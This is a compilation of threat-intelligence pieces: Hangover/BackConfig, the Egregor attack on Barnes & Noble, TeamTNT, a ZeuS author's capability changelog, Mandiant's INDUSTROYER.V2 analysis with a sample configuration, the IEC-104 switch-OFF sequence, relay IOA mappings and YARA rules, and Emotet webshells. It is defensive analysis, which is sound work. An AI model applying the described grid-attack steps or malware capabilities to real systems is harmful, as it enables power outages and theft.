Schedule' is set to download and install updates every minute. | | Remote File Copy | NGFW | Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone. Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist. Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists. | | Standard Application Layer Protocol (T1071) | NGFW | Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone. Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist. Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists. | **Conclusion** The Hangover Group is active and, according to Unit 42 visibility, is targeting government and military organizations in South Asia. The group continues to make use of compromised, third-party infrastructure to support the delivery of their weaponized documents, using spear-phishing emails containing links to said sites. The delivery documents continue to evolve and, over the years, have moved from plain text code and URLs to encoded. From storing encoded executables within the documents, to using ZIP files - including a package of files - to finally downloading executables from command and control servers. The installation of the BackConfig malware by the delivery documents is performed using multiple stages and components, most likely to evade sandboxes or other automated analysis and detection systems. This includes the use of Virtualization-based Security (VBS), batch codes, scheduled tasks, and conditional trigger files. Once fully installed, the BackConfig malware communicates with the threat actors using HTTPS, making visibility and detection potentially more difficult, and blends in amongst other similar traffic. Once an infected system is under an actor’s control, the objective varies based on the plugins deployed and the type of system or organization compromised.
# Barnes & Noble Hit by Egregor Ransomware, Strange Data Leaked The Egregor ransomware gang is claiming responsibility for the cyberattack on U.S. bookstore giant Barnes & Noble on October 10th, 2020. The attackers state that they stole unencrypted files as part of the attack. Barnes & Noble is the largest brick-and-mortar bookseller in the United States, with over 600 bookstores in fifty states. The bookseller also operated the Nook Digital, which is their eBook and e-Reader platform. ## Ransomware Attack Leads to an Outage On October 10th, users began complaining on Nook's Facebook page and Twitter that they could no longer access their library of purchased eBooks and magazine subscriptions. In response to the concerns, Barnes & Noble posted an update on the Nook Facebook page stating that they are experiencing a severe system failure and are working to get systems operational again. Late Wednesday night, Barnes & Noble disclosed that they suffered a cyberattack on October 10th, 2020. As part of this attack, ransomware attackers gained access to the corporate network for the company. After discovering the attack, Barnes & Noble shut down their network to prevent the attack's further spread, which led to a service outage. "It is with the greatest regret we inform you that we were made aware on October 10, 2020 that Barnes & Noble had been the victim of a cybersecurity attack, which resulted in unauthorized and unlawful access to certain Barnes & Noble corporate systems." "We write now out of the greatest caution to let you know how this may have exposed some of the information we hold of your personal details," Barnes & Noble stated in their email. ## Barnes & Noble Email Notification Barnes & Noble states that no payment details have been exposed but are unsure at this time if the hackers accessed other personal information. They do admit that email addresses, billing addresses, shipping addresses, and purchase history were exposed on the hacked systems. In response to queries about the attack, Barnes & Noble shared the following statement: "As the letter to our customers explains, we closed down all our networks immediately once a cybersecurity attack was suspected. We engaged then a firm of cybersecurity consultants to evaluate the nature of the threat. With their guidance, we have cautiously restored our networks which by its nature has taken time. We acted as quickly as we could given the circumstances and notified customers once we were able to give credible information of what happened. No credit card details are stored on Barnes & Noble systems and therefore the speculation that financial loss from fraudulent activity could result is inaccurate. As of writing, the cybersecurity consultants have detected no evidence of data having been exposed. We have acted therefore with an abundance of caution. We regret sincerely that in so acting we have caused disruption to our customers, especially those of NOOK." ## Egregor Claims to Have Stolen Barnes & Noble Data After publishing a report on the Barnes & Noble cyberattack, BleepingComputer was contacted by a threat actor who stated that the Egregor ransomware operation was behind the attack. Egregor is a relatively new but active ransomware gang that began operating in the middle of September 2020. BleepingComputer was told that Barnes & Noble's corporate network was compromised by threat actors who stole unencrypted "financial and audit" data from their systems. After the hacker gained access to a Windows domain administrator account, another threat actor was given access to the network on October 10th, 2020, who then encrypted the network's devices. Today, the Egregor ransomware operation confirmed the threat actor's statements and published files that they claim were stolen during the attack on Barnes & Noble. ## Barnes & Noble Data Leak on Egregor Site Strangely, instead of leaking stolen files, the leaked data contains two Windows Registry hives that appear to have been exported from Barnes & Noble's Windows servers during the attack. While this corroborates that Egregor was involved in the attack, it does not necessarily prove that Egregor stole any financial documents or other files. BleepingComputer has reached out again to Barnes & Noble with questions regarding this development. Egregor also recently attacked game developers Crytek and Ubisoft, whose stolen data was also leaked online.
# TeamTNT Since Fall 2019, Team TNT is a well-known threat actor which targets *nix based systems and misconfigured Docker container environments. It has constantly evolved its capabilities for its cloud-based cryptojacking operations. They have shifted their focus on compromising Kubernetes Clusters. ## References - 2022-03-02 ⋅ CyberArk ⋅ CyberArk Labs: Conti Group Leaked! - 2022-02-18 ⋅ Intezer ⋅ Intezer: TeamTNT Cryptomining Explosion - 2022-02-09 ⋅ VMware ⋅ VMWare: Exposing Malware in Linux-Based Multi-Cloud Environments - 2022 ⋅ Toli Security ⋅ Toli Security: Active crypto-mining operation by TeamTNT - 2021-12-07 ⋅ Sysdig ⋅ Alberto Pellitteri: Threat news: TeamTNT stealing credentials using EC2 Instance Metadata - 2021-12-01 ⋅ Trend Micro ⋅ Trend Micro Research: Analyzing How TeamTNT Used Compromised Docker Hub Accounts - 2021-11-03 ⋅ Trend Micro ⋅ David Fiser, Alfredo Oliveira: TeamTNT Upgrades Arsenal, Refines Focus on Kubernetes and GPU Environments - 2021-10-07 ⋅ Uptycs ⋅ Siddharth Sharma: Team TNT Deploys Malicious Docker Image On Docker Hub - 2021-10-06 ⋅ Anomali ⋅ Tara Gould: Inside TeamTNT’s Impressive Arsenal: A Look Into A TeamTNT Server - 2021-09-14 ⋅ Cado Security ⋅ Cado Security: TeamTNT Script Employed to Grab AWS Credentials - 2021-09-08 ⋅ AT&T ⋅ Ofer Caspi: TeamTNT with new campaign aka “Chimaera” - 2021-09 ⋅ Intezer ⋅ Intezer: TeamTNT: Cryptomining Explosion - 2021-07-20 ⋅ Trend Micro ⋅ David Fiser, Alfredo Oliveira: Tracking the Activities of TeamTNT: A Closer Look at a Cloud-Focused Malicious Actor - 2021-02-20 ⋅ Malpedia ⋅ Malpedia: Malpedia Website for Malware Family Team TNT - 2021-02-17 ⋅ Aquasec ⋅ Assaf Morag: Threat Alert: TeamTNT Pwn Campaign Against Docker and K8s Environments - 2021-02-03 ⋅ Palo Alto Networks Unit 42 ⋅ Jay Chen, Aviv Sasson, Ariel Zelivansky: Hildegard: New TeamTNT Malware Targeting Kubernetes - 2021-01-27 ⋅ AT&T ⋅ Ofer Caspi: TeamTNT delivers malware with new detection evasion tool - 2021-01-05 ⋅ Lacework Labs ⋅ Lacework Labs: TeamTNT Builds Botnet from Chinese Cloud Servers - 2020-12-21 ⋅ Intezer ⋅ Intezer: Top Linux Cloud Threats of 2020 - 2020-08-17 ⋅ Cado Security ⋅ Chris Doman, James Campbell: Team TNT - The First Crypto-Mining Worm to Steal AWS Credentials - 2020-08-17 ⋅ Cado Security ⋅ Chris Doman: Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials There is no Yara-Signature yet.
# ZeuS Version Scheme by the Trojan Author ## Q: Что значат цифры в версии ZeuS? **A:** a.b.c.d a - полное изменение в устройстве бота. b - крупные изменения, которые вызывают полную или частичную несовместимость с предыдущими версиями бота. c - исправления ошибок, доработки, добавление возможностей. d - номер чистки от AV для текущей версии a.b.c. ## Q: What do the numbers in the version of ZeuS mean? **A:** a.b.c.d a - a complete change in the bot design. b - the major changes that cause complete or partial incompatibility with the previous versions of the bot. c - correction of bugs, errors, refining, additional features. d - number of cleaning for protection against AV for the current version abc. ## Version History ### Version 1.2.0.0, 20.12.2008 **Overall:** [*] Более не будет документации в chm-файле, все будет писаться в этот файл. [+] Теперь бот способен получать команды не только при отправки статуса, но и при отправке файлов/логов. [+] Локальные данные, запросы к серверу, и файл конфигурации шифруются RC4 с ключом на ваш выбор. [*] Полностью обновлен протокол бот--сервер. Возможно, понизится нагрузка на сервер. **Bot:** [-] Устранена ошибка, блокирующая бота на лимитированных ученых записях Windows. [*] Написан новый PE-криптор, теперь PE-файл получается очень аккуратным и максимально имитирует результат работы MS Linker 9.0. [*] Обновлен процесс сборки бота в билдере. [*] Оптимизировано сжатие файла конфигурации. [*] Новый формат бинарного файла конфигурации. [*] Переписан процесс сборки бинарного файла конфигурации. [*] Socks и LC теперь работают на одном порту. **Control Panel:** [*] Статус панели управления переведен в BETA. [*] Изменены все таблицы MySQL. [*] Начет постепенный перевод Панели Управления на UTF-8 (возможны временные проблемы с отображением символов). [*] Обновлена геобаза. ### Version 1.2.1.0, 30.12.2008 **Bot:** [*] BOFA Answers теперь отсылается как BLT_GRABBED_HTTP (было BLT_HTTPS_REQUEST). [-] Мелкая ошибка при отправке отчетов. [-] Размер отчета не мог превышать ~550 символов. [-] Ошибка существующая с начала существования бота: низкий таймаут для отсылки POST-запросов, в результате чего блокировалась отсылка длинных (более ~1 Мб) отчетов на медленных соединениях. **Overall:** [+] В случаи записи отчета типа BLT_HTTP_REQUEST и BLT_HTTPS_REQUEST в поле SBCID_PATH_SOURCE добавляется путь URL. **Control Panel:** [*] Обновлен redir.php. ### Version 1.2.2.0, 11.03.2009 **Bot:** [-] Устранена ошибка в HTTP-инжектах существующая на протяжении ВСЕХ версий бота. [+] При срабатывании HTTP-инжекта, теперь также изменяются файлы в локальном кэше. [+] Уменьшен размер PE-файла. ### Version 1.2.3.0, 28.03.2009 **Bot:** [-] Мелкие ошибки в крипторе, спасибо доблестным говноаналитикам из Avira. **Overall:** [*] Изменен протокол раздачи команд ботам. **Control Panel:** [*] Полностью переписана панель управления. [*] Дизайн переписан на XHTML 1.0 Strict (под IE не работает). [*] Бот теперь опять способен получать команды только при отправке отчета об онлайн-статусе. [*] Обновлена геобаза. ### Version 1.2.4.0, 02.04.2009 **Bot:** [+] При работе с HTTP, заголовок User-Agent теперь читается от Internet Explorer. **Control Panel:** [-] Исправлена ошибка отображения отчетов, содержащих символы 0-31 и 127-159. ### Version 1.2.5.0, 27.05.2009 **Bot:** [+] Незначительная оптимизация кода. **Control Panel:** [-] Устранена уязвимость в gate.php, позволяющая записывать файлы в родительские директории. [+] Добавлены запрещенные расширения в массив $bad_exts. [+] В модуле botnet_bots, при изменение фильтра сохраняется текущая сортировка. ### Version 1.2.6.0, 04.06.2009 **Bot:** [+] Перехват библиотеки nspr4.dll. ### Version 1.2.7.0, 22.06.2009 **Overall:** [+] В отчеты добавляется имя пользователя, которому принадлежит процесс. **Bot:** [+] Отключение фишинг-фильтра в IE7, IE8. ### Version 1.2.8.0, 05.10.2009 **Bot:** [+] За счет включения опции TCP_NODELAY, увеличена скорость работы Socks-сервера. [+] При соединении с сервером через Wininet, не добавлялся HTTP-заголовок "Connection: close". **Control Panel:** [*] Обновлена геобаза. ### Version 1.2.9.0, 10.10.2009 **Bot:** [+] Добавлен граббер паролей для следующих FTP-клиентов: FlashFXP, Total Commander, WS_FTP, FileZilla, FAR Manager, WinSCP, FTP Commander, Core FTP, SmartFTP. ### Version 1.2.10.0, 17.10.2009 **Control Panel:** [+] Полная интеграция "Jabber notifier". ### Version 1.3.0.0, 22.11.2009 **Bot:** [*] Перехват WinAPI методом сплайсинга. [+] Полноценная работа в Windows Vista/7. [*] Временно отключено скрытие файлов бота. [*] Убран TAN-граббер. [-] Исправлена ошибка дублирования отчетов в nspr4.dll. [*] Сграбленные сертификаты теперь пишутся с именем grabbed_dd_mm_yyyy.pfx. [*] Команда getcerts, получает сертификаты только из MY-хранилища. [*] Изменено поведение граббера сертификатов. [*] Переписан FTP/POP3 снифер, улучшено обнаружение логинов. [*] Переписан перехват ввода клавиатуры, исправлен метод работы с интернациональными символами. [-] Исправлена ошибка в HTTP-фейках, которая могла привести к deadlock. [*] Изменен способ генерации BotID. ### Version 1.3.1.0, 29.11.2009 **Bot:** [-] Устранена серьезная ошибка, которая могла возникнуть при работе с файлом конфигурации. ### Version 1.3.2.0, 11.01.2010 **Bot:** [-] Устранена серьезная ошибка, которая могла привести к deadlock в любом процессе. ### Version 1.4.* **Overall:** [*] Полная несовместимость с предыдущими версиями. [*] Поскольку ядро бота нацелено на Windows Vista+, в боте никогда не будут использоваться сплойты повышения привелегий. [+] Возможна работа с "Roaming User Accounts". [*] Произвольные имена файлов, мютексов. [*] Пайпы более не используются. [*] Полностю переписано ядро бота. [+] При инсталяции, перекриптовывает свое тело. [+] Привязка бота к компьютеру, путем модификации/удаления некоторых данных в exe-файле. [+] Полноценная работа с x32 приложениями в Windows x64. [+] Удаление исходного файла бота, после исполнения. [+] Полноценная работа в "Terminal Services". [+] При запуске из под пользователя LocalSystem, происходит попытка заражения всех пользователей системы. [*] Убрана опция StaticConfig.blacklist_languages. [+] Имя ботнета ограничено 20 символами. [+] Файл Конфигурации читается как UTF8. [*] Убрана опция StaticConfig.url_compip. [+] Нельзя обновить новую версию на старую. [+] При обновлении бота происходит полное обновление немедленно. [*] В данный момент скрытие файлов бота не будет производиться. [*] Убран граббер Protected Storage. [*] Бот имеет метку Инсталла при добавлении в базу. ## Q: Каким образом генерируется Bot ID? **A:** Bot ID состоит из двух частей: %name%_%number%, где name - имя компьютера, а number - некое число, генерируемое на основе уникальных данных ОС. ## Myths **M:** ZeuS использует DLL для своей работы. **A:** Ложь. Существует только один исполняемый PE файл (exe). **M:** ZeuS использует COM (БХО) для перехвата Internet Explorer. **A:** Ложь. Всегда для этого использовался перехват WinAPI из wininet.dll.
# INDUSTROYER.V2: Old Malware Learns New Tricks On April 12, 2022, CERT-UA and ESET reported that a cyber physical attack impacted operational technology (OT) supporting power grid operations in Ukraine. The attack leveraged different pieces of malware including a variant of INDUSTROYER, a well-known piece of attack-oriented ICS malware originally deployed in December 2016 to cause power outages in Ukraine. The attack is significant not only because OT-targeted attacks are rare, but also because this is the first instance in which code from broadly known attack-oriented OT malware was redeployed against a new victim. Despite five years of substantial analysis into INDUSTROYER from a variety of researchers, the actor still attempted to repurpose the tool and customized it to reach new targets. INDUSTROYER.V2 (Mandiant’s name for the new variant) reinforces the notion that OT malware can be tailored for use against multiple victims, which has serious implications for other publicly known OT malware families like INCONTROLLER. While much of the story surrounding INDUSTROYER.V2’s deployment is already publicly available, Mandiant further analyzed the malware to share additional insights for defenders and the OT community. In this blog post, we document additional technical details of INDUSTROYER.V2 based on our analysis of two different samples. We also provide detection rules to identify related activity. If you need support responding to related activity, please contact Mandiant Consulting. Further analysis of related threats—including additional malware that was deployed alongside INDUSTROYER.V2—is available as part of Mandiant Advantage Threat Intelligence. ## INDUSTROYER.V2 In a Nutshell INDUSTROYER.V2 is similar to its predecessor; however, this variant contains more targeted functionality. Unlike the original INDUSTROYER, which was a framework that leveraged external modules to implement four different OT protocols, this variant is self-contained and only implements the IEC 60870-5-104 (IEC-104) communications protocol. IEC-104 is used for power system monitoring and control over TCP and is mainly implemented in Europe and the Middle East. Most importantly, the new malware variant enables the actor to embed customized configurations that modify the malware’s behavior to specific intelligent electronic devices (IEDs) (e.g., protection relays, merging units, etc.) within the target environment. The design change to embed custom configurations in INDUSTROYER.V2 reduces the effort required by the actor to reproduce the attack against different victim environments and enables the actor to contain the impact to specific targeted IEDs. ## Two Custom INDUSTROYER.V2 Samples Show the Breadth of the Attack To fully understand the implications of the new customization capabilities in INDUSTROYER.V2, we analyzed and compared two different samples. The second sample, which is likely a recompiled version, is publicly available in online malware scanning platforms (MD5: 7c05da2e4612fca213430b6c93e76b06). We believe both samples are related to the same operation. The compilation timestamps were within minutes of each other and about two weeks before the intended attack. It is possible the actor was modifying the malware’s configuration to customize the payload for different targets. Each sample contains different configurations hardcoded within the binary. One sample contains eight unique hardcoded target IP addresses, whereas the other only contains three. In both samples, the malware terminated a specific process. However, the defined filepath used to concatenate with the process differed between the two samples. This shows a nuanced understanding of the victim environment. Based on the slight differences between both samples, we can infer additional details about the scale of the attack, the likely level of access that the actor had within the victim networks, and the reconnaissance likely performed by the attacker prior to the deployment of the malware. As shown by the details embedded in the malware configurations, the actor conducted at least some internal network reconnaissance to identify specific IEDs in the victim environments and understand how to access them. The malware configurations target devices across specific subnets, highlighting that the actor succeeded in identifying and penetrating surrounding networks. The actor’s successful implementation of IEC-104 to interact with the targeted devices indicates a robust understanding of the protocol and knowledge of the victim environment. For example, in the samples we analyzed, the actor manipulated a selected list of Information Object Addresses (IOAs), which are used to interact with power line switches or circuit breakers in a remote terminal unit (RTU) or relay configuration. Conversely, the malware code itself shows some degree of carelessness or potential time constraints. For example, the INDUSTROYER.V2 samples contain limited obfuscation and defense evasion methods. The lack of obfuscation in the binaries provides defenders with quick hints on its functionality and ability to target OT assets. ## Outlook Extensible frameworks, such as the original INDUSTROYER and INCONTROLLER, are often preferred by threat actors due to the flexibility of their modular design, allowing deployment of specific payloads to target different victim assets or communication protocols. However, in the case of INDUSTROYER.V2, the actor reimplemented only one of the original components from the earlier framework and created a new self-contained executable. It is unclear why the threat actor made the particular modifications to INDUSTROYER.V2. Perhaps the actor wanted to develop a more streamlined version to target a very specific environment, or they did not want to expose more valuable or capable tools, or they simply believed this approach would be efficient since it would not require additional resources to impact the target. Regardless of the motivations, the reuse of code from known OT malware highlights the value of hunting and detections based on known indicators. For instance, some detections we built for the original INDUSTROYER successfully identified INDUSTROYER.V2 in the wild. While it is often believed that OT malware is not likely to be utilized in more than one environment, tools that take advantage of insecure by design OT features—such as INDUSTROYER.V2 does—can be employed multiple times to target multiple victims. The OT security community should recognize these tools as frameworks or capabilities, and not merely features of isolated cybersecurity incidents and one-time use tools. ## Technical Analysis of INDUSTROYER.V2 INDUSTROYER.V2 is written in C++ and implements the IEC-104 protocol to modify the state of remote terminal units (RTUs) over TCP. IEC-104 protocol TCP clients are called control stations and the TCP servers are called remote stations. The malware crafts configurable IEC-104 Application Service Data Unit (ASDU) messages, also known as telegrams, to change the state of a remote station’s Information Object Addresses (IOAs) to ON or OFF. IOAs identify a specific data element on a device and may correspond to power line switches or circuit breakers in an RTU or relay configuration. The malware is a self-contained executable where the operator can set up configuration parameters to target specific remote stations, define execution options, and craft ASDU messages. It also accepts the optional command line arguments (-o) to print debug messages to an output file or (-t) to create a time delay before execution. ### Configuration Capabilities After the command line interface arguments are parsed, INDUSTROYER.V2 iterates through embedded configuration entries. The execution of the program is highly configurable. Based on our analysis of two INDUSTROYER.V2 samples, the malware contains configuration entries structured as strings. **Table 1: Configuration Structure** | Position | Configuration Entry Description | |----------|---------------------------------| | 1 | Station IP Address | | 2 | Station Port | | 3 | Entry Index Value | | 4 | Enable Hard-Coded Telegrams with specified Range | | 5 | Enable Configuration Options | | 6 | Enable Process Termination | | 7 | Process Name to Terminate | | 8 | Enable File Rename | | 9 | Directory Path for File Rename | | 10 | Sleep Prior to IEC-104 functionality | | 11 | Sleep Duration Seed Value | | 12 | Execution Control | | 13 | Sleep Duration Seed Value | | 14 | Unused | | 15 | Command State – ON/OFF | | 16 | Change Option – Send Inverted ON/OFF commands | | 17 | Number of ASDU Data Entries | | 18 | First ASDU Data Entry | An example extracted configuration entry from sample 7c05da2e4612fca213430b6c93e76b06 is presented below. ``` 192.168.XXX.XXX 2404 2 0 1 1 Example StoppedProcess.exe 1 "Example PATH" 0 1 0 0 1 0 0 8 1104 0 0 0 1 1 1105 0 0 0 1 2 1106 0 0 0 1 3 1107 0 0 0 1 4 1108 0 0 0 1 5 1101 0 0 0 1 6 1102 0 0 0 1 7 1103 0 0 0 1 8 ``` If configuration entry #4 is enabled, the malware crafts ASDU telegrams to deliver Select and Execute commands and modify the state of a remote station's IOA to OFF. The IOA ranges which these telegrams are sent to are provided by configuration entries #5 and #6. However, this option was not enabled in recovered samples. A configuration mapping against the example is included in the Appendix. All the configurations we examined had the following options enabled: process termination, file rename, and use of ASDU data entries. The ASDU data entries are used to craft specific ASDU messages to the remote station and the data entry is structured in the format shown below. **Table 2: ASDU Entry Structure** | Position | ASDU Data Entry Description | |----------|---------------------------------| | 1 | Station Information Object Address (IOA) | | 2 | Set Message Type – Single or Double Command | | 3 | Set Command Type – Select or Execute | | 4 | Invert Default ON/OFF State | | 5 | Execution Control | | 6 | ASDU Entry Index | After parsing each configuration entry, INDUSTROYER.V2 enumerates running processes to identify if a specific hard-coded process is running and terminates it. Once this process is stopped, the malware enumerates running processes again and terminates whichever process is specified by the operator in the configuration. If the file rename option is enabled, the malware creates a file path using its configuration data and adds a .MZ extension to this file. This may be a technique to prevent the specified process terminated earlier from relaunching. For each configuration entry, a thread is created that implements IEC-104 communication with the controlled system. IEC-104 uses the Application Protocol Data Unit (APDU) specification. An APDU frame can be composed of either just an Application Protocol Control Information (APCI) frame; or an APCI header and a subsequent Application Service Data Unit (ASDU) frame. ### Execution INDUSTROYER.V2 first sends control function messages, which are contained within an APCI frame. The first control message is a Test Frame (TESTFR). The malware sends a TESTFR ACT to the remote station which verifies an established connection. If one exists, a remote station responds with a corresponding TESTFR CON. Next, the malware opens a data transfer channel with the remote station using a subsequent control message type of Start Data Transfer (STARTDT). By default, data transfer is not enabled on an active connection between a control station and remote station. Therefore, the malware sends a STARTDT ACT to activate a data transfer channel and a remote station sends a corresponding STARTDT CON, to confirm a successful activation. With data transfer enabled, the malware utilizes an ASDU frame to send subsequent commands to the remote station. ASDU messages, also known as telegrams, are a set of application functions defined by IEC-104 to monitor and control remote stations. The malware sends a General Interrogation command, which allows it to obtain the current status of monitored digital and analog signals of the remote station. The malware then uses embedded ASDU data entries to craft a specific command to modify the target’s IOA to either ON or OFF. These commands are crafted using options defined within its configuration and the individual ASDU data entry. For example, in the configuration we extracted from sample 7c05da2e4612fca213430b6c93e76b06, the first ASDU data entry is: ``` 1104 0 0 0 1 1 ``` Based on configuration entry 15 (OFF state), entry 16 (Disable Change option), and its ASDU entry values, the malware crafts an ASDU packet with the following characteristics: - Information Object Address: 1104 - ASDU message type: C-DC_NA_1 (Double Command) - ASDU command type: Execute - Set state value: OFF For each targeted remote station in a configuration entry, the malware iterates through corresponding ASDU data entries, crafting specified telegrams, and sends it to the remote station. The malware’s configuration settings may direct it to craft an additional ASDU message, which inverts the ON/OFF state in a command and sends this additional message to the remote station’s IOA. A high-level description of the communication sequence is the following: 1. Send Test Frame messages to verify an established connection 2. Send Start Data Transfer messages to open a data transfer channel 3. Send a General Interrogation command retrieving the status of the remote station 4. Send crafted Single or Double command types to modify the state of the remote station’s IOA The detailed nature of how a specific remote station is targeted, down to the unique IOAs and the state each IOA must be modified to create an intended effect, demonstrates a comprehensive understanding of, or visibility into the victim environment. We note that although the IOAs targeted by the malware can provide important context to the actor's precise intent, IOA mappings often differ between manufacturers, devices, and even users. For this reason, accurate interpretation of the actions intended by the actor requires additional knowledge about the targeted assets. While at this moment we do not have such information, we explored possible IOA matches based on publicly available documentation about specific products. For example, knowing that ABB RTUs and relays are heavily deployed in the targeted region, we performed open source analysis. In our earlier example, we observed an IOA equivalent to 1104, which we then mapped to public product documentation from an ABB Distribution Recloser Relay corresponding to "50BFT:InStr status". In this status, 50 is the ANSI number for circuit breaker, which is how relay elements are numbered when setting a protection relay. Then 50BFT stands for circuit breaker failure protection. We provide an appendix illustrating additional mapping of IOAs extracted from the configuration of the public INDUSTROYER.V2 sample against the same distribution recloser relay. ## Overlaps With Previous INDUSTROYER Variant The two versions of INDUSTROYER contain overlaps in code and similarities in execution flow and functionality. We identified the following shared features in execution and functionality: - Both versions contain code that first terminates a specific process on the victim controller station, prior to establishing IEC-104 communication. - Both versions craft specific ASDU messages according to provided configuration settings. - Both versions contain an ability to deliver pre-defined ASDU messages to a specified IOA range. - Both versions contain an option to direct the malware to craft an additional ASDU message which inverts the previous ON/OFF command and sends it to the target remote station. One difference we identified between both variants is that, unlike its predecessor, INDUSTROYER.V2 contains altered debugging messages which obfuscate the meaning of the outputs. However, we note these debugging messages are formatted and printed at similar execution points of key functions. Further, the obfuscation was not implemented in key portions of IEC-104 code which are reused in both versions, which enables us to visualize the overlaps. For example, both INDUSTROYER versions use very similar code to parse APDU traffic and print specific parsed fields. ## Appendix: YARA Rules ```yara rule MTI_Hunting_INDUSTROYERv2_Bytes { meta: author = "Mandiant" date = "04-09-2022" description = "Searching for executables containing bytecode associated with the INDUSTROYER.V2 malware family." strings: $bytes = {8B [2] 89 [2] 8B 0D [4] 89 [2] 8B 15 [4] 89 [2] A1 [4] 89 [2] 8B 0D [4] 89 [2] 8A 15 [4] 88 [2] 8D [2] 5? 8B [2] E8} condition: filesize < 3MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $bytes } rule MTI_Hunting_INDUSTROYERv2_Strings { meta: author = "Mandiant" date = "04-09-2022" description = "Searching for executables containing strings associated with the INDUSTROYER.V2 malware family." strings: $a1 = "M%X - %02d:%02d:%02d" nocase ascii wide $a2 = "%02hu:%02hu:%02hu:%04hu" nocase ascii wide $a3 = "%s M%X " nocase ascii wide $a4 = "%s: %d: %d" nocase ascii wide $a5 = "%s M%X %d (%s)" nocase ascii wide $a6 = "%s M%X SGCNT %d" nocase ascii wide $a7 = "%s ST%X %d" nocase ascii wide $a8 = "Current operation : %s" nocase ascii wide $a9 = "Sent=x%X | Received=x%X" nocase ascii wide $a10 = "ASDU:%u | OA:%u | IOA:%u | " nocase ascii wide $a11 = "Cause: %s (x%X) | Telegram type: %s (x%X" nocase ascii wide $b1 = "Length:%u bytes | " nocase ascii wide $b2 = "Unknown APDU format !!!" nocase ascii wide $b3 = "MSTR ->> SLV" nocase ascii wide $b4 = "MSTR <<- SLV" nocase ascii wide condition: filesize < 3MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (1 of ($a*) and 1 of ($b*) } ``` ## Appendix: Mapped Configuration Example **Table 3: Mapped configuration example** ## Appendix: Example IOAs From Publicly Available Sample Mapping to An ABB Distribution Recloser Relay | IOA | Description | |------|---------------------------------| | 1101 | 50BFT:InPosCIsA Status | | 1102 | 50BFT:InPosCIsB Status | | 1103 | 50BFT:InPosCIsC Status | | 1104 | 50BFT:InStr status | | 1105 | 50BFT:InStrA status | | 1106 | 50BFT:InStrB status | | 1107 | 50BFT:InStrC status | | 1108 | 50BFT:general | Acknowledgements: This research was made possible thanks to the hard work of many people not listed on the byline. A huge thanks to CERT UA and ESET. Special thanks to Josh Triplett, Conor Quigley, and Wesley Mok.
# DocuSign Phishing Campaign Includes Hancitor Downloader Microsoft Word also leveraged in the email campaign, which uses a 22-year-old Office RCE bug. Discussion this has been going on since September 2016... they are a little slow in identifying this haha
# The Webshells Powering Emotet ## Summary The Hornetsecurity Security Lab presents details on the webshells behind the Emotet distribution operation, including insights into payload downloads. From July 22 to July 24, 2020, Emotet payloads on download URLs were replaced with HTML code displaying GIFs. The analysis shows that the number of downloads of the malicious content is significant, peaking at 50,000 downloads per hour, highlighting that Emotet emails do get clicked. Compromised websites are often not just compromised once but multiple times by different actors, and cleanup efforts by website administrators are often insufficient, leading to re-enabling of the malicious Emotet downloads. ## Background Emotet is one of the most prolific malspam actors, distributing malware via malspam emails with either a malicious document attachment containing VBA macros or download links to those documents. These malicious documents will then download the Emotet loader from the Emotet download URLs, which are hosted on compromised websites. The actors behind Emotet use webshell malware on these websites to place new payloads, either malicious documents or the Emotet loader. Because compromised websites get blacklisted or the malware gets cleaned, the actors use around 300 to 400 URLs a day. ## Technical Analysis ### S.A.P. Webshell Accessing the webshell used by Emotet is simple if you have access to the filesystem of a compromised website. The Emotet webshells usually reside in the directory one level below the directory containing the Emotet download. Known filenames of Emotet webshells include `user.php`, `common.php`, `import.php`, `update.php`, `link.php`, `license.php`, `menu.php`, `image.php`, `options.php`, `tools.php`, `core.php`, `edit.php`, `functions.php`, `config.php`, and `wp-list.php`. Access to the webshell is typically protected, but on some servers, PHP files have been renamed by adding a `.suspected` extension. This renaming is likely done by a different malware named Vigilante Malware Cleaner, which disables suspected malicious PHP scripts by appending `.suspected` to their filenames. This allows the server to serve the PHP source code of the webshell directly. The webshell identifies itself as S.A.P. webshell with version v.2.1, allowing an attacker to search, upload, and download files, execute arbitrary commands, and dump SQL databases. ### GIF Hijacking Based on previous findings, it is believed that the incident where Emotet downloads were replaced with HTML code displaying GIFs is a result of insufficient security of the Emotet webshells. Emotet seems to have changed their webshell on July 27, 2020, and the GIF hijacks stopped, but indications of new GIF hijackings emerged on July 31, 2020. This could indicate that whatever Emotet is doing to defend itself against the GIF hijackings is working. ## Download Statistics Emotet uses a PHP script to collect download statistics grouped by operating systems given in the downloader’s User-Agent string. The statistics are delivered as a JSON object in a subdirectory of the Emotet payload download directory. The cumulative number of Emotet downloads peaked at 50,000 downloads per hour. Most downloads are for the Emotet maldoc, while the Emotet loader is downloaded far less often. ## Failed Cleanup Attempts During monitoring, multiple failed cleanup attempts were witnessed. Site administrators often delete the directory containing the Emotet download but miss cleaning all the webshells. The actors behind Emotet then regenerate the deleted files with their next payload update. ## Other Observed Mistakes The actors behind Emotet make mistakes, such as allowing another actor to hijack their payload downloads. Other mistakes include messing up the replacement regular expression, leading to download URLs delivering Emotet maldocs with broken filenames. ## Conclusion and Countermeasure Emotet is not just sent in large volume but its malicious content is also downloaded in significant numbers. On the network, you should block known Emotet URLs. Blocking domains provides better protection, as Emotet can misuse compromised websites again. Hornetsecurity’s Spam Filtering Service detects and blocks Emotet emails based on known indicators, while Hornetsecurity’s Advanced Threat Protection extends this protection by detecting unknown threats.
